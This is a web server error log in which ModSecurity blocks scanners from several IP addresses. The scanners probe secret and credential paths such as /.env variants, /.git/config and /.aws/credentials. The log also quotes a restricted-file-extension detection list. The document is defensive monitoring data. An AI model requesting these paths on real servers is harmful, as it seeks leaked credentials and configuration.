[Tue Dec 02 09:01:16.577994 2025] [:error] [pid 464904] [client 167.71.175.236:56198] [client 167.71.175.236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6czP1sLLIs2FP7Ov7ObgAAAAc"]
[Tue Dec 02 09:01:16.578226 2025] [:error] [pid 464904] [client 167.71.175.236:56198] [client 167.71.175.236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6czP1sLLIs2FP7Ov7ObgAAAAc"]
[Tue Dec 02 09:29:54.177306 2025] [authz_core:error] [pid 464252] [client 164.92.244.132:39904] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Dec 02 09:29:57.179079 2025] [:error] [pid 464253] [client 164.92.244.132:39934] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6jhRZeztJm1Yuq3g8lwwAAAAQ"]
[Tue Dec 02 09:29:57.179313 2025] [:error] [pid 464253] [client 164.92.244.132:39934] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6jhRZeztJm1Yuq3g8lwwAAAAQ"]
[Tue Dec 02 09:29:57.179489 2025] [:error] [pid 464253] [client 164.92.244.132:39934] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aS6jhRZeztJm1Yuq3g8lwwAAAAQ"]
[Tue Dec 02 09:29:58.266636 2025] [:error] [pid 464291] [client 164.92.244.132:39946] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6jhp0fE9xfoNXam56PMAAAAAU"]
[Tue Dec 02 09:29:58.266878 2025] [:error] [pid 464291] [client 164.92.244.132:39946] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6jhp0fE9xfoNXam56PMAAAAAU"]
[Tue Dec 02 09:29:58.267063 2025] [:error] [pid 464291] [client 164.92.244.132:39946] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aS6jhp0fE9xfoNXam56PMAAAAAU"]
[Tue Dec 02 09:30:00.225353 2025] [:error] [pid 464249] [client 164.92.244.132:33364] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6jiJ3sbrMrSiOWenoGLAAAAAA"]
[Tue Dec 02 09:30:00.225621 2025] [:error] [pid 464249] [client 164.92.244.132:33364] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6jiJ3sbrMrSiOWenoGLAAAAAA"]
[Tue Dec 02 09:30:00.225801 2025] [:error] [pid 464249] [client 164.92.244.132:33364] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aS6jiJ3sbrMrSiOWenoGLAAAAAA"]
[Sun Dec 07 15:34:41.434646 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTWQgaxAi-0-oAL0IKmVpwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.aws/credentials
[Sun Dec 07 15:34:41.436646 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTWQgaxAi-0-oAL0IKmVpwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.aws/credentials
[Sun Dec 07 15:34:41.436914 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aTWQgaxAi-0-oAL0IKmVpwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.aws/credentials
[Sun Dec 07 15:34:41.527545 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVqAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env
[Sun Dec 07 15:34:41.527858 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVqAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env
[Sun Dec 07 15:34:41.528086 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVqAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env
[Sun Dec 07 15:34:41.627077 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTWQgaxAi-0-oAL0IKmVqQAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.example
[Sun Dec 07 15:34:41.627364 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTWQgaxAi-0-oAL0IKmVqQAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.example
[Sun Dec 07 15:34:41.627588 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTWQgaxAi-0-oAL0IKmVqQAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.example
[Sun Dec 07 15:34:41.717418 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTWQgaxAi-0-oAL0IKmVqgAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.local
[Sun Dec 07 15:34:41.717729 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTWQgaxAi-0-oAL0IKmVqgAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.local
[Sun Dec 07 15:34:41.717954 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTWQgaxAi-0-oAL0IKmVqgAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.local
[Sun Dec 07 15:34:41.818727 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aTWQgaxAi-0-oAL0IKmVqwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.backup
[Sun Dec 07 15:34:41.818905 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aTWQgaxAi-0-oAL0IKmVqwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.backup
[Sun Dec 07 15:34:41.819252 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aTWQgaxAi-0-oAL0IKmVqwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.backup
[Sun Dec 07 15:34:41.819461 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aTWQgaxAi-0-oAL0IKmVqwAAAAI"], referer: http://forst-trento.test.indacotrentino.com/.env.backup
[Sun Dec 07 15:34:41.908174 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVrAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/config/.env
[Sun Dec 07 15:34:41.908442 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVrAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/config/.env
[Sun Dec 07 15:34:41.908633 2025] [:error] [pid 573220] [client 45.86.202.163:37699] [client 45.86.202.163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aTWQgaxAi-0-oAL0IKmVrAAAAAI"], referer: http://forst-trento.test.indacotrentino.com/config/.env
[Mon Dec 08 05:17:59.027395 2025] [authz_core:error] [pid 594975] [client 206.81.24.74:53142] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Dec 08 05:18:02.083079 2025] [:error] [pid 595245] [client 206.81.24.74:53152] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTZReoaGXaI8wMl6vpNMFgAAAAg"]
[Mon Dec 08 05:18:02.083324 2025] [:error] [pid 595245] [client 206.81.24.74:53152] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTZReoaGXaI8wMl6vpNMFgAAAAg"]
[Mon Dec 08 05:18:02.083484 2025] [:error] [pid 595245] [client 206.81.24.74:53152] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aTZReoaGXaI8wMl6vpNMFgAAAAg"]
[Mon Dec 08 05:18:03.030021 2025] [:error] [pid 595253] [client 206.81.24.74:53164] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTZRewlbN3HvOuH6IPY70wAAAA0"]
[Mon Dec 08 05:18:03.030246 2025] [:error] [pid 595253] [client 206.81.24.74:53164] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTZRewlbN3HvOuH6IPY70wAAAA0"]
[Mon Dec 08 05:18:03.030418 2025] [:error] [pid 595253] [client 206.81.24.74:53164] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aTZRewlbN3HvOuH6IPY70wAAAA0"]
[Mon Dec 08 05:18:05.030320 2025] [:error] [pid 595251] [client 206.81.24.74:53176] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTZRfU4-2Zoq-VaBtMRODgAAAAs"]
[Mon Dec 08 05:18:05.030575 2025] [:error] [pid 595251] [client 206.81.24.74:53176] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aTZRfU4-2Zoq-VaBtMRODgAAAAs"]
